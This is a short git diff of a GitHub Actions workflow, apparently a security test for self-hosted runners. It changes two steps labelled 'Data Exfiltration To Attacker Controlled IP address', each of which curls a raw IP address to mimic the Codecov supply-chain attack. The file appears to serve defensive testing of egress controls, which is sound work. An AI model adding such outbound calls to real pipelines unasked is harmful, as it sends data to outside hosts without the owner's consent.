diff --git a/.github/workflows/arc-secure-by-default.yml b/.github/workflows/arc-secure-by-default.yml
index d383294f..96a7098d 100644
--- a/.github/workflows/arc-secure-by-default.yml
+++ b/.github/workflows/arc-secure-by-default.yml
@@ -10,7 +10,7 @@ jobs:
 
       # Codecov Scenario: Exfiltrate data to attacker's IP address
       - name: Data Exfiltration To Attacker Controlled IP address
-        run: curl 104.16.209.12 -L
+        run: curl 104.16.209.12 --connect-timeout 5
   direct-ip-arc:
     runs-on: self-hosted
     steps:
@@ -18,4 +18,4 @@ jobs:
 
       # Codecov Scenario: Exfiltrate data to attacker's IP address
       - name: Data Exfiltration To Attacker Controlled IP address
-        run: curl 104.16.209.12 -L
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+        run: curl 104.16.209.12 --connect-timeout 5